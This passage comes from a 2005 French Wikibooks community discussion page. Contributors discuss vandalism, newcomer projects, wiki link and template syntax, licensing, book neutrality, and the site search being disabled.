votre avis ! :) [[Utilisateur:Guillaumito|Guillaumito]] 3 fév 2005 à 13:53 (UTC) == Vandalisme == Un vandale a placé plusieurs liens vers des sites pornographiques particulièrement violents (viols, tortures, etc.). Je l'ai bloqué, et j'ai préféré effacer de l'historique ces liens. Je signale ce dernier point, car si pour ma part je pense qu'on ne peut laisser ce genre de choses mêmes seulement dans l'historique, je ne crois pas qu'il y ait une procédure autorisant l'effacement. Donc j'espère avoir bien fait. [[Utilisateur:Caton|Caton]] 21 fév 2005 à 11:05 (UTC) : Tu as très bien fait. [[Utilisateur:Guillaumito|Guillaumito]] 21 fév 2005 à 11:12 (UTC) == Bonjour == Bonjour à tous, je suis nouveau sur Wikipedia et Wikibooks et j'ai plein de projets d'articles et de livres. Je suis convaincu que le concept Wiki est une des meilleures façons d'écrire la science et j'espère que mes projets vous intéresseront.--[[Utilisateur:Thierry Dugnolle|Thierry Dugnolle]] 22 fév 2005 à 23:04 (UTC) :Bienvenue sur Wikilivres, espérons que l'on devienne rapidement une référence en enseignement, notamment en sciences. [[Utilisateur:Greudin|Greudin]] ::Thierry, Je t'avais accueilli sur ta talk:page wikipédia sans vraiment bien t'aiguiller ; je pense à présent que wikibooks est le complément idéal que tu cherchais alors pour exposer tes théories, disons, plus personnelles. [[Utilisateur:82.224.88.52|82.224.88.52]] 27 fév 2005 à 21:25 (UTC) ==Signer ou non un wikibook sur papier ?== Sur la page de discussion d'une entrée créée avant-hier, un utilisateur écrit : ''... tu t'impliques dans ce livre (énormément de "je", sans compter une "note sur l'auteur" qui va complètement à l'encontre de l'esprit de Wikilivres'' et je demande donc ici si c'est une bonne idée d'envisager que le support imprimé d'un wikibook porte la seule signature de l'auteur principal sachant que, dans ce cas précis, personne d'autre, que ce soit une IP ou un pseudo, n'a pour l'instant contribué pour plus de deux pour cent au texte final. [[Utilisateur:82.224.88.52|82.224.88.52]] 27 fév 2005 à 21:25 (UTC) :Pourquoi pas oui, mais les livres sont déjà signés, il suffit de consulter l'historique l'anonyme. [[Utilisateur:Greudin|Greudin]] 27 fév 2005 à 21:39 (UTC) ::Je ne comprends pas pourquoi tant d'empressement. Si on s'attelait d'abord à obtenir un contenu approfondi et correct ''numérisé'', avant de penser à l'''imprimer'' ? Wikipédia n'a pas encore terminé un seul wikireader, si je ne me trompe pas, or son contenu est (pour l'instant ?) bien plus étoffé que celui de Wikilivres. Je ne dis pas qu'il est interdit de penser à l'avenir, mais que la question se posera bien d'elle-même plus tard, quand il sera ''intéressant'' de s'y pencher. ::Pour le moment, comme le fait remarquer Greudin, l'historique garde une trace des "auteurs". Je ne pense pas qu'il soit très intéressant pour le lecteur d'avoir d'emblée des renseignement sur l'auteur (dans la mesure où ceux-ci ne changent rien à la lecture que l'on doit apporter au wikilivre). Après, si le lecteur se trouve très intéressé par l'ouvrage et désire en savoir plus sur l'auteur, il peut aisément arriver sur sa page personnelle, qui peut contenir le genre d'informations sur l'auteur qui figurent actuellement sur le [[Bridge en wikireader]]. ::Ah, mais j'oubliais, tu ne peux pas avoir de pages personnelles... ::[[Utilisateur:Esope|Esope]] 27 fév 2005 à 22:57 (UTC) == Blocage de 82 == J'ai bloqué ce "contributeur", et je propose ses livres à la suppression. Pour moi, il fait du troll en s'efforçant de ne pas dépasser les limites, mais c'est déjà trop. S'il y a des objections, je suis prêt à le débloquer... [[Utilisateur:Caton|Caton]] 6 mar 2005 à 20:00 (UTC) ==Partenariat possible== Un anonyme maladroit veut faire connaitre Coselearn : http://www.coselearn.org/ : ''CoseLearn (Coopération Suisse en matière de eLearning) est un programme qui a été initié par QualiLearning avec l'appui de la Direction du Développement et de la Coopération (DDC), et qui consiste à promouvoir le e-learning dans plusieurs pays d'Afrique francophone, à savoir l’Algérie, le Burkina Faso, le Congo-Brazzaville, le Mali, le Maroc, la Mauritanie, le Niger, le Sénégal, le Tchad et la Tunisie.'' [[Utilisateur:Greudin|Greudin]] 10 mar 2005 à 09:47 (UTC) ==Sciences exactes== A force de voir passer la page d'accueil j'avais fini par ne plus la regarder ... est-il bien raisonnable de classer la Médecine et la Physiologie de l'imagination et du langage parmi les sciences exactes ? [[Utilisateur:Jean-Jacques MILAN|Jean-Jacques MILAN]] 21 mar 2005 à 20:10 (UTC) Ca me paraît judicieux à moi (mais après tout je ne suis pas un spécialiste... juste un simple prof de Biotechnologies). Mais il est vrai que l'étude et le fonctionnement du cerveau et du langage fait partie de la Physiologie Humaine. Ces cours là peuvent être dispensés en Fac de Sciences pour les étudiants en Biologie et Physiologie. [[Utilisateur:Bionet|Bionet]] 9 avr 2005 à 13:27 (UTC) == Wikiversité sur la programmation internet == Bonjour, Je commence à m'investir dans wikibook, j'ai un peu écris dans le livre sur la [[Programmation_HTML | Programmation HTML]] et je participe à la wikification du livre sur le [[ Programmation_C_C_plus_plus_Avant-propos | C++]]. Je voudrais avoir votre avis sur la création d'une wikiversité sur la programmation internet. Celle ci aurai pour but de regrouper : * Des pages permettant la coordination du projet, * Des livres pour apprendre le [[Programmation_HTML | HTML]], [[Programmation_CSS | CSS]], le [[Programmation_PHP | PHP]], le javascript, etc, * Des exercices corrigés qui serviraient de maquettes toutes prêtes dans les lecteurs pourraient s'inspirer, * Une FAQ pour bien débuter, * Des liens vers les sites de référence ([[http://www.w3c.org | W3C]] par exemple), * Des livres de références sur les balises HTML, les tags CSS, etc, * Et pleins d'autres choses... Si vous êtes intéressés, n'hésitez pas à répondre à ce post ou à venir en discuter avec moi sur ma [[Discussion_Utilisateur:Kiouk | page de discussion]]. @+ [[Utilisateur:Kiouk|Kiouk]] 23 mar 2005 à 18:46 (UTC) == frottement et usure == Je déplace la discussion sur ma page personnelle : [[Discussion_Utilisateur:Jean-Jacques_MILAN#frottement_et_usure]] ==[[Guitare basse]]== salut comment vous portez- vous? celle-ci pour vous parler de la maniere q'on puisse pour aquerir gratuitement ce livre car il m' baucoup plu car je suis basiste et je vois que ça pourrait contribuer à ma perfectionnement. je suis marcel azizaho jeune beninois ma boite postale est 02BP288 bohicon (BENIN) mon mail est azimascos@yahoo.fr. repondez-moi SVP :Personellement je me porte bien ;) A priori [[Guitare basse]] n'est consultable gratuitement qu'en ligne. L'[[Utilisateur:Guillaumito]] est le principal auteur du wikilivre (visible dans l'historique). [[Utilisateur:Greudin|Greudin]] ::Ouais, d'ailleurs faudrait que je m'y remette un peu... :) [[Utilisateur:Guillaumito|Guillaumito]] 17 avr 2005 à 20:48 (UTC) == Lien == Est-ce possible, qu'un lien vers une page, envoie vers un paragraphe particulier de cette page ? Et si oui quelle est la syntaxe ? [[Utilisateur:Antoinel|Antoinel]] 23 avr 2005 à 19:54 (UTC) Il faut pour cela créer d'abord une ancre sur la page, à l'endroit désiré, en utilisant la syntaxe <pre><nowiki><div id="nom_de_l'ancre">bla bla bla</div></nowiki></pre>Ensuite, pour pointer vers cette ancre,<pre><nowiki>[[Nom_de_la_page#nom_de_l'ancre|bla bla bla]]</nowiki></pre>Si le lien pointe vers une ancre de la page où se situe ledit lien <pre><nowiki>[[#nom_de_l'ancre|bla bla bla]]</nowiki></pre> suffit. Tout est expliqué en détail là : [[w:Wikipédia:Syntaxe wikipédia/Lien ancré]] (il faudra penser à transférer les pages d'aides de Wikipédia sur Wikilivres, à l'occasion) [[Utilisateur:Esope|Esope]] 24 avr 2005 à 12:33 (UTC) == Extraire une racine carrée à la main == J'ai bien une idée pour rédiger cet article mais aucune connaissance de la technique à utiliser sur Wikilivres. Est-il possible de se familiariser avec les différentes commandes ?--[[Utilisateur:Yverjom|Yverjom]] 24 avr 2005 à 13:50 (UTC)yverjom 24.04.05 :Exercez-vous dans le [[Wikilivres:Bac à sable|Bac à sable]] ou sur vos pages utilisateur [[Utilisateur:Greudin|Greudin]] == wikifier du LaTeX == J'ai un problème sur le wikibooks [[Tri sélectif des emballages ménagers]] : Il y a un grand nombre de tableaux dans ce document. Il serait intéressant des les wikifier car ils sont présents en images insérées. La raison de la présence de ces tableaux sous forme d'images c'est qu'ils ont été créés en LaTeX et que ce wiki ne reconnaissant pas LaTeX pour autre chose que les formules mathématiques il est très difficile d'obtenir le même résultat en wikifiant. J'ai laissé les sources LaTeX des tableaux en les entourant de balises de commentaires HTML au cas où quelqu'un voudrait wikifier ces sources LaTeX. - [[Utilisateur:Bionet|Bionet]] 27 avr 2005 à 18:59 (UTC) == nouveau livre == Bonjour, je viens de m'inscrire et je suis très intéressé par votre projet. Quelles différences faites vous entre un article wikipedia et un livre wikilivre? Je veux dire par là est-ce possible de traiter un même sujet si on pense le présenter d'une autre façon? Je serais très intéressé pour participer à un livre sur l'hindouisme. --[[Utilisateur:Shivajin|shivajin]] 3 mai 2005 à 17:51 (UTC) == wikilivre programmation en C == Bonjour je suis tombé par hasard sur le lien suivant http://casteyde.christian.free.fr/online/cours_cpp/book1.html et je me suis dit qu il serait mieux pour le wikilivre en programmation en C de le completer avec ce site. Je le ferais bien mais je suis en terminale et le bac approche (J-27) donc bon...pendant ces vacances. Si quelq un pouvait commencer le travail... Merci Longue vie à Wikipedia!!!! == Tribologie == Bonjour, L'ensemble des articles sur la tribologie est désormais disponible sur Wikilivres, seule subsiste sur WP une introduction absolument nécessaire car pour le grand public, le mot tribologie n'évoque rien de précis. Toutes les illustrations (il y en avait beaucoup ...) ont été transférées sur Commons et se trouvent donc à la disposition des autres Wikipédias. '''[[tribologie|Cet ouvrage]] constitue désormais, et de très loin, la plus importante somme de documents disponibles en ligne sur ce sujet'''. Il ne se passe guère de semaines, voire de jours, sans que je l'enrichisse grâce à divers systèmes de veille technologique. Le nombre de questions qui arrivent dans ma boîte personnelle me montrent que ce travail est apprécié par de nombreux étudiants, professeurs, ingénieurs, techniciens ... Certaines d'entre elles témoignent d'ailleurs de l'incrustation dans les esprits d'idées reçues totalement fausses. Je vais insérer dans le wikilivre, au fil des mois qui viennent, de nombreuses images et photographies. Bien plus que les pièces neuves, les pièces usées racontent des histoires ... pour celui qui sait les faire parler ! Vous pouvez contribuer de diverses manières : * En relisant le wikilivre et en créant les liens qui vous paraîtront utiles vers WP (<nowiki>[[w:fr:machinchose|machinchose]]</nowiki>), * En m'adressant (de préférence sur mon mail personnel) un maximum d'illustrations sur le sujet. Les sources sont partout, cela peut aller d'un guidage mécanique intéressant, de pièces neuves conditionnées pour le frottement, d'appareillages d'essais, d'éléments d'appui pour ouvrages d'art, de gravures anciennes ou de formes d'usure de tous types : pièces mécaniques évidemment, joints d'étanchéité, garnitures de freins, usures anormales de pneumatiques, dégradation des routes ... Amitiés. [[Utilisateur:Jean-Jacques MILAN|Jean-Jacques MILAN]] 13 mai 2005 à 15:34 (CEST) == Accélération dans formule RDM == Je travaille dans le rayonnage de stockage industriel et je désire savoir comment on peut ajouter une des termes d'accélération dans les formules de RDM (dans le cas de la sismicité). Merci d'avanace pour vos réponses Cédric :A la magie des sigles ! autant on aurai envie de t'aider, mais vraiment tu ne nous aide pas (le "nous" est peut être disproporsinné). [[Utilisateur:Bayo|Bayo]] 9 jun 2005 à 19:37 (UTC) == licence == Une licence Creative Commons ne serait-elle pas preferable pour ces documents au lieu d'une GNU fdl? Certains documents tiennent plus de la connaissance et de la culture que de la documentation technique. :L'auteur est libre de choisir la licence de ces création ! Après ce n'est pas ici que l'on pourra modifier quoi qque se soit a ses choix ! [[Utilisateur:Bayo|Bayo]] 9 jun 2005 à 19:39 (UTC) == Modèles == Salut tout le monde, Quelqu'un pourrait-il m'indiquer la page où trouver/créer les modèles pour Wikilivres ? Merci [[Utilisateur:Jim2k|Jim2k]] 8 jun 2005 à 17:33 (UTC) : Les modèles sont des pages comme les autres, tu peux en créer en ajoutant un lien vers un modèle (non existant) avec la synatxe <nowiki>{{Mon_modele}}</nowiki> puis en suivant le lien (rouge) ainsi créé. Tu peux ensuite ajouter ce modèle à d'autres pages toujours avec la syntaxe <nowiki>{{Mon_modèle}}</nowiki>. J'éspère avoir été à peu près clair. [[Utilisateur:Guillaumito|Guillaumito]] 8 jun 2005 à 18:08 (UTC) :Ajoutez les dans [[Wikilivres:modèles]]. [[Utilisateur:Greudin|Greudin]] == Documentation technique sur un système libre : phpMyVisites == Bonjour, je cherche à wikifier une documentation utilisateur/developpeur/administrateur d'un système web open source. Est-ce qu'un wikibook est approprié ou est-ce que je fourvoie complètement??? :A priori pas de soucis, à condition que votre système web open source soit largement utilisé ou en passe de le devenir. [[Utilisateur:Greudin|Greudin]] ::Pourquoi une telle condition? Aujourd'hui son utilisation est en pleine expansion, mais comment savoir si le nombre d'utilisateurs est suffisant? Pour info le système est [http://www.phpmyvisites.net phpMyVisites], un système web de mesure d'audience. :::La limite est floue mais je ne vois pas d'objection pour la doc de phpMyVisites ici, la tradition est de bien ''catégoriser'' les pages et d'utiliser des titres évocateurs en commençant par [[phpmyVisites : installation]] par exemple, etc. [[Utilisateur:Greudin|Greudin]] ===phpmyvisites, suite=== Salut, Je suis l'auteur du logiciel libre phpMyVisites http://www.phpmyvisites.net/ et nous envisageons l'utilisastion de mediawiki pour la documentation des prochaines versions, car il y a beaucoup d'avantages à une telle solution technique. Par contre nous nous questionnons sur l'intérêt que nous aurions à utiliser wikibooks au lieu d'installer nous même mediawiki sur notre serveur. Pouvez vous nous dire pourquoi wikibook est préférable pour la documentation d'un projet libre (si c'est le cas) ? Par exemple est il simple de faire des backups de toute la doc facilement pour après éventuellement repasser sur un serveur perso ? Quels inconvénients cela pourrait il avoir ? Merci d'avance de vos réponses ! :Voir [[w:MediaWiki|MediaWiki]] concernant l'utilisation du logiciel. N'hésitez pas à commencer la documentation ici sur [[Wikilivres]], c'est s'assurer d'une relecture et améliorations dans le pur esprit libre. [[Utilisateur:Greudin|Greudin]] == Questions importantes : police de caractere de l'accueil, Wikilivres ou Wikibooks == Bonjour, j'ai deux remarques à faire : #L'utilisation d'une police "étrange" sur la page d'accueil est un choix particulièrement risqué, car tout le monde ne l'a certainement pas, et du coup, certaines personnes, au lieu d'avoir un très joli "Bienvenue à Wikilivres", n'ont qu'un joli paquet de carrés. Je suggère donc de revenir à des polices plus simples ou d'en faire une image. #Cela dit, il se trouve que malheureusement, les domaine wikilivres.org et wikilivres.com sont tous les deux "squattés", ce qui nous empêche à ce stade de communiquer sur le nom francophone, voire nous dessert, car lorsqu'on parle de "wikilivres", on renvoie vers un projet/site qui n'est pas du tout le nôtre. A ce stade, la marque Wikilivres n'est pas déposée, et nous devons donc communiquer sur "wikibooks", pas sur "wikilivres". voilà. [[Utilisateur:Notafish|notafish]] [[w:Discussion Utilisateur:Notafish| }<';>]] 11 jul 2005 à 09:28 (UTC) :#''juste fais le'' ;) ou quelqu'un d'autre, perso mes gouts artistique risquent de détonner. :# Dommage de devoir revenir à un mot anglais à cause de cybersquatteur, y a pas moyen de négocier gentiment avec ce <s>parasi...</s> spéculateur ? [[Utilisateur:Greudin|Greudin]] ==Centraliser Tous Les wikibooks et les wiki de wikimedia fondation== Beaucoup de Personnes parlent plusieurs langues(francais,anglais par exemple) Avec la structure des "wikimedia" il est difficile d'avoir une vue d'ensembles des articles,livres... dans plusieurs langues differentes L'uttilisateur est contraint a choisir une langue et donc un site(http://fr.wikibooks.org http://en.wikibooks.org) et n'as acces qu'aux articles references dans le site choisi Je propose donc de creer des sites internationaux regroupant a chaque fois tous les articles de toutes les langues des sites "locaux" Je propose aussi de regrouper tout les "wikimedia" dans ce site tout en les classant par cathegories Les classemnents Pourons se faire: *Par langue *Par cathegorie en y incluant tout les articles de langues diverses :Comme le Wikisource actuel quoi, ce serait une évolution à proposer aux développeurs sans dénaturer l'existant àmha. Le logiciel mediawiki (rouages des wikipedias) possède une interface de suggestions sur le serveur de developpement sourceforge (sf.net). [[Utilisateur:Greudin|Greudin]] ::[http://sourceforge.net/tracker/?atid=411195&group_id=34373&func=browse Project: MediaWiki: Browse Feature Requests]] (il faut être loggué pour proposer une nouvelle fonctionnalité et c'est en anglais :() [[Utilisateur:Greudin|Greudin]] 15 jul 2005 à 11:28 (UTC) == Wikibooks ou Wikisource == D'après je que j'avais compris, Wikibooks devait contenir des oeuvres pédagogiques donc rédigées en ligne et Wikisource des oeuvres tombées dans le domaine public. Alors que fait [[Être et Temps]] sur Wikibooks ? Sinon, qu'elle est la véritable répartition entre les projets ? --[[Utilisateur:Pseudomoi|Pseudomoi]] 15 jul 2005 à 10:21 (UTC) *[[Être et Temps]] est une analyse de l'oeuvre et non pas l'oeuvre en elle même (qui devrait être sur wikisource si DP), et wikilivres n'héberge pas que des livres pédagogiques. [[Utilisateur:Greudin|Greudin]] ** Pas de problème pour Être et Temps, mais Wikibooks ne devrait contenir que des livres pédagogiques. Les autres documents (fiction, essais, etc.) n'ont rien à faire ici. Mais « pédagogique » est à prendre au sens large, c'est à dire qu'il y a pas de problème pour héberger, par exemple, des livres de cuisine. [[Utilisateur:Yann|Yann]] 15 jul 2005 à 13:05 (UTC) ** Merci, je crois que le problème viens de modèle Wikibook sur WP. J'ai cru qu'il s'agisait de l'oeuvre. --[[Utilisateur:Pseudomoi|Pseudomoi]] 15 jul 2005 à 14:55 (UTC) Un mot sur l'analyse des œuvres philosophiques, car Yann a fait la remarque que les essais n'ont pas leur place ici, et je n'ai pas compris s'il parlait de ces pages qui peuvent en effet apparaître comme des essais personnelles sur une oeuvre, et qui, de ce fait, dépassent peut-être les limites du projet. C'est vrai qu'en elles-mêmes, ce sont tout de même des essais, qu'il y a un caractère personnel dans le commentaire qui peut faire craindre des dérives, même si, à la base, cela ne devrait être que des analyses objectives. En fait, ces pages font parties de plusieurs ensembles : l'histoire de la philosophie et un manuel. C'est-à-dire que quelqu'un qui lirait le manuel, voulant appronfondir un thème trouvera un lien vers une oeuvre, ou un ensemble d'oeuvres ; à l'inverse, quelqu'un qui lirait une analyse pourrait vouloir appronfondir seulement un thème, et consulterait donc la page qui manuel qui lui est consacrée. En ce sens, le caractère d'essai, qui me semble inévitable, peut être limité par l'objectif de l'ensemble. Pour répondre aussi à la question de Pseudomoi sur la répartition des projets, je prendrais l'exemple de Nietzsche : l'article sur la Wikipédia est assez détaillé, mais tous ces détails sont subordonnés à l'ensemble que constitue l'article ; il serait difficile de tout analyser à fond, ce qui n'est pas l'objectif d'un article encyclopédique, surtout parce qu'il faudrait en plus confronter un grand nombre d'interprétations ; on arriverait alors très facilement à des milliers de pages ! Wikibooks, en ce qui concerne la philosophie, permet d'appronfondir tous ces points, en les intégrant dans ces ensembles pédagogiques dont j'ai parlés plus haut. C'est ainsi que je vois ces pages et je ne sais si cette idée est partagée par d'autres ; peut-être que cela ne convient pas ? Maintenant, comme les pages ne sont pas encore très dévellopées, cela reste plus une idée, qu'une réalité tangible. Un jour, peut-être, pour ce qui est de la philosophie (mais aussi pour tous les autres domaines), il y aura assez de contributeurs pour faire de Wikilivres un outil pédagogique bien supérieur sur ce point à Wikipédia. [[Utilisateur:Caton|Caton]] 15 jul 2005 à 19:08 (UTC) :La question de la place des commentaires et analyse de philosophie me semble particulièrement intéressante. Pour moi, il serait intéressant de les placer dans la Wikiversité, dans une [[Faculté de philosophie]]. En effet, dans la mesure où les analyses, ou au moins les commentaires, peuvent difficilement supprimer la subjectivité de leur auteur, il pourrait être intéressant de regrouper des commentaires de la même œuvre faits par différents auteurs (qui pourraient donc s'adonner à coeur joie à la subjectivité). Cette faculté pourrait donc contenir tous types d'essais philosophiques, que ce soit des commentaires ou des œuvres originales (qui sont, pour moi, toujours à caractère pédagogique, à condition de les confronter à une analyse critique (vous me direz que c'est une attitude à avoir constamment, mais je pense par exemple aux wikilivres de [[Programmation]] qui peuvent contenir des passages entièrement objectifs et non discutables (pour la syntaxe notamment))). [[Utilisateur:Esope|Esope]] 16 jul 2005 à 15:58 (UTC) :Je suis tombé par hasard sur Wikicities, où l'on peut créer des wikis, mais avec de la publicité. J'ai créé [http://nietzsche.wikicities.com/wiki/Accueil cette page], pour tester, sans rien ajouter de nouveau par rapport à ce que j'ai fait sur Wikisource, Wikipédia et Wikibooks, à part un index. Or, en rassemblant tout cela, je constate que la séparation des projets Wikimédia semble empêcher la création de ce genre de portail qui a pourtant un très grand intérêt : par exemple l'idée de cet index, qui me semble moins facilement réalisable ailleurs. Un tel portail pourrait aller sur Wikipédia, sur Wikibooks, ou sur Wikisource (vu qu'il tient des trois à la fois) ? Est-ce que quelqu'un a une idée ? J'aimerai bien transferer tout cela sur un projet wikimédia, afin d'éviter la publicité... [[Utilisateur:Caton|Caton]] 17 jul 2005 à 22:39 (UTC) ::À mon avis, ce portail pourrait être soit sur Wikipédia, soit sur Wikibooks, soit les deux, en privilégiant d'un côté l'aspect encylopédique, d'un autre l'aspect pédagogique. [[Utilisateur:Yann|Yann]] 18 jul 2005 à 11:13 (UTC) ::Je vais y réfléchir. Je teste sur Wikicities, et je verrai quoi faire plus tard quand j'aurai plus de temps. Pour le moment, je n'ai pas trop d'idées, mais je ferais bien un triple portail. Néanmoins, cela risque de compliquer les choses, à moins que cela soit inutile. [[Utilisateur:Caton|Caton]] 18 jul 2005 à 19:54 (UTC) == Titre des wikilivres d'apprentissage d'une langue == Bonjour, J'ai renommé la page [[Enseignement du français]] en [[Français]], pour les raisons expliquées sur la page de discussion. Comme ces raisons sont également applicables aux autres wikilivres d'apprentissage d'une langue, je les expose également ici : Le titre "Enseignement de ..." fait penser à un wikilivre expliquant comment enseigner cette discipline à autrui. Or les wikilivres concernés enseignent plutôt la discipline que la manière d'enseigner cette discipline. Je suis donc d'avis de renommer tous les titres "Enseignement de nom_de_langue" en "Nom_de_langue" tout simplement. Ceci permet également de garder un titre de libre si un jour un véritable wikilivre enseignant la manière d'enseigner une langue apparaît. [[Utilisateur:Esope|Esope]] 16 jul 2005 à 16:22 (UTC) == Proposition de projet == Bonjour, je propose de faire un projet des cours de maths, physique et autre à partir des programems scolaires. Par exemple on aurait une page "programme français de maths de 3ème" où l'on trouverait des liens vers toutes les lecons de maths du programme officiel français de 6ème. Bien sûr comme ce wiki est francophone et non pas français, les utilisateurs Canadiens, Belges, Suisses et autres sont invités à faire la même chose. Je pense aussi que comme certains élèves font toujours des fiches sur les leçons, ils pourraient facilement les recopier (puisqu'ils en sont les auteurs). Il faudrai peut être faire une page projet et tout ça mais je ne sais pas comment faire donc j'attend vos commentaires et suggestions. --[[Utilisateur:Antoinou2958|Antoinou2958]] 22 jul 2005 à 07:55 (UTC) :Oui c'est un beau projet, certains avaient initié quelque chose s'y rapprochant sur l'encyclo comme les articles de la série [[w:Mathématiques élémentaires]] par [[w:Utilisateur:Ellisllk|Ellisllk]] et d'autres enseignants dans la vie réelle. Personnellement je peux participer en technologie. [[Utilisateur:Greudin|Greudin]] 22 jul 2005 à 08:57 (UTC) ::Premièrement je pense qu'il faudrait faire une page de projet où on explique un peu plus et où on réunis les participants.--[[Utilisateur:Antoinou2958|Antoinou2958]] 22 jul 2005 à 09:57 (UTC) ::Ok partons par exemple de l'article projet [[wikilivres:enseignement secondaire]] et le livre associé : [[enseignement secondaire]] avec les liens vers programmes par pays (collège pour la France) et/ou disciplines. [[Utilisateur:Greudin|Greudin]] == Recherche dans Wikibooks == La recherche dans WB serait-elle désactivée ? [[Utilisateur:Jean-Jacques MILAN|Jean-Jacques MILAN]] 23 jul 2005 à 21:44 (UTC) == Neutralité de point de vue == Je viens de survoler le livre [[Végétarien & Végétalien - Vivre sans manger les animaux]] et je me demandais, étant donné que ce livre est clairement en faveur du végétarisme et du végétalisme (je parle surtout de la page [[Végéta*isme:Raisons]]), si la neutralité de points de vues est applicable sur Wikilivre ? Entendons-nous bien : je ne cherche pas à critiquer le contenu de ce livre mais le fait qu'il présente des pages qui servent plutôt à convaincre (ou aider à franchir le pas), ce qui me parait limite. Je comprendrais que l'on présente les arguments : « les végétariens préfèrent… parce qu'ils trouvent que… ». Cependant certaines phrases ne sont pas neutres du tout car le discours n'est plus celui des végétariens mais de l'auteur du livre. Exemple : « La vue des tueries d’animaux commises dans les abattoirs devrait être un argument suffisant pour devenir végétarien ou végétalien ». Admettons que l'on prévienne clairement le lecteur que ce livre présente un point de vue de végétarien/végétalisme ; ne faudrait-il pas aussi avoir un livre contraire qui puisse équilibrer les points de vue ? Encore une fois je ne veux pas m'attaquer au sujet même mais au principe d'avoir un livre qui penche vers une certaine opinion sans qu'il n'y ai rien pour le contredire. Des avis ? --[[Utilisateur:Darkdadaah|Dakdada]] [[Discussion Utilisateur:Darkdadaah|<small>(discuter)</small>]] 31 jul 2005 à 12:53 (UTC) :C'est vrai que le livre est partisan, le style est véhément sans parler des titres en capitales, paragraphes entiers en gras. :-( [[Utilisateur:Greudin|Greudin]] Je suis d'accord pour qu'on retire ce livre. Il y a beaucoup de faits qui sont non neutres, et souvent non fondés. Par exemple, dans un certains passage que j'ai corrigé c'était écrit que (1) la majorité des végétariens mangent moins de fast-foods, (2) le fast-food est néfaste, (3) donc il est bon d'être végétarien. Ce genre de raisonnement est biaisé. Dans un autre endroit il était écrit que les gens mangentdu miel seulement pour satisfaire leur plaisirs personnel, alors qu'il est aussi possible que quelqun puisse vouloir manger du miel pour les bonnes vertus du miels, par exemple. Le livre n'est pas neutre, et ne montre qu'un aspect de la vérité, ne prouve pas beaucoup de ses affirmations, et utilisent plusieurs termes comme "manger des cadavres d'animaux" qui ne sont pas neutres. De plus de nombreux passages sont hors-sujet. Modifier ce livre pour le rendre acceptable demanderait un travail énorme. [[Utilisateur:Pfv2|Pfv2]] 20 sep 2005 à 22:12 (UTC) == Interwiki ou pas ? == Dilemne : doit-on insérer l'interwiki vers en: par exemple même si le wikilivre n'est pas une traduction exacte ? Par exemple pour [[Programmation PHP]] et [[:en:Programming:PHP]] sont différents sur la forme. [[Utilisateur:Greudin|Greudin]] : Je suppose qu'on peut faire cela tant que le sujet traité reste le même. Je trouve en plus que les liens interwikis n'ont pas beaucoup d'intérêt quand les contenus sont identiques. --[[Utilisateur:Darkdadaah|Dakdada]] [[Discussion Utilisateur:Darkdadaah|<small>(discuter)</small>]] 8 aoû 2005 à 14:53 (UTC) ::L'intêret principal est quand même d'avoir une version traduite et vice versa. [[Utilisateur:Greudin|Greudin]] ==[[:w:Catégorie:Savoir-faire]] migration ou pas.== Les articles de l'encyclo dans la [[:w:Catégorie:Savoir-faire]] sont de la matière pour des wikilivres, àmha la méthode la plus douce pour ne pas froisser les premiers auteurs est de : # copier-coller ici # citer tous les auteurs dans la boîte de résumé # insertion du modèle <nowiki>{{wikilivres|</nowiki> à la fin de l'article encyclo pour signaler le nouveau ''fork'' dans wikilivres # inviter les auteurs ? [[Utilisateur:Greudin|Greudin]] 11 aoû 2005 à 11:16 (UTC) :inviter les auteurs et insérer un modèle si on a pas le temps de les inviter serait une bonne chose ...je pense [[Utilisateur:jonathaneo|jonathaneo]] == Proposition pour l'étude des langues == salut à tous et à toutes je débutes dans ce wiki et je ne sais pas trop si je serais plus utilisateur ou contributeur mais je débute par l'apprentissage...de l'allemand. Donc, tous ça pour dire que j'arrive à la page de test de [[Allemand Niveau 1 Leçon 1|cette page]] et un problème ce pose...la correction, elle est présente soit, mais je trouve que si la correction était faite par quelqu'un, cela serait mieux car : *correction en temps réel des erreurs *précision sur les manques ou les points forts pédagogiques des méthodes *socialisation plus importante des utilisateurs *je ne dis pas qu'il faille des ''"Wikiprofs"'' mais + des aides *les wikipédiens n'ont peut-être pas que cela à faire qu'en pensez-vous? au plaisir [[Utilisateur:jonathaneo|jonathan]] == Comment rediriger vers wikipedia de wikibook ? == Deux questions : *comment etablir des liens de [[faire le vrai]] de wikibook vers wikipedia '''fr''' ? *comment afficher une image du serveur wikipedia sur wikibook ? [[utilisateur:zulul|zulul]] Salut, * Pour les liens vers Wikipédia (si je comprend bien la question) il faut ajouter le préfixe : <tt>w:</tt> dans un lien pour le faire aller vers Wikipédia : [[w:Philosophie]] par exemple (<tt><nowiki>[[w:Philosophie]]</nowiki></tt>). les liens se font directement vers Wikipédia fr puisque l'on est sur Wikilivres (fr), mais si vous voulez être plus précis vous pouvez ajouter w:fr: ([[w:fr:Philosophie]], <tt><nowiki>[[w:fr:Philosophie]]</nowiki></tt>). Mais ça n'est utile que sur les sites non-francophones. ** Si c'est plutôt une question de mise en page, on peut les mettre à la fin de la page dans une section « Voir aussi » ou « Liens externes » (ou autre chose). je ne suis pas sûr qu'il y ai de convention pour cela, Wikilivre étant très souple de ce côté-là. * Il est malheureusement impossible d'afficher (directement) une image du serveur Wikipédia sur Wikibook. La meilleure chose à faire (plus long) est de copier l'image (et ses commentaires) sur Commons afin que l'image puisse être utilisée partout ailleurs par la suite. - [[Utilisateur:Darkdadaah|Dakdada]] [[Discussion Utilisateur:Darkdadaah|<small>(discuter)</small>]] 16 aoû 2005 à 15:50 (UTC) : Apparement il faut faire attention : certaines images anglaises sont une utilisation ''fair use'', et elles ne peuvent être utilisées que dans les pays qui autorisent cet usage (États-Unis et Grande Bretagne au moins), mais la France (au moins aussi) n'a pas une telle loi : on ne peut donc télécharger les images de en: sous cette licence vers Commons… Il faut donc bien faire attention à la licence et toujours citer les sources des images. - [[Utilisateur:Darkdadaah|Dakdada]] [[Discussion Utilisateur:Darkdadaah|<small>(discuter)</small>]] 25 aoû 2005 à 15:54 (UTC) == Recherche sur Wikibooks == Bonsoir, Je repose ma question : la recherche sur Wikibooks est-elle désactivée ? Apparemment oui, car les interrogations ne donnent rien, et ça ne date pas d'hier matin. Il faudrait sans doute réagir rapidement ! Amitiés. [[Utilisateur:Jean-Jacques MILAN|Jean-Jacques MILAN]] 17 aoû 2005 à 00:16 (UTC) : Salut, la recherche semble bel et bien désactivée. Mais je me demande si on peut y faire quelque chose : je crois qu'elle est désactivée pour économiser des ressources. Cependant on peux faire autrement (en attendant) : chercher sur google en précisant que la recherche se réduit au site Wikilivres : [[google:site:fr.wikibooks.org]]. - 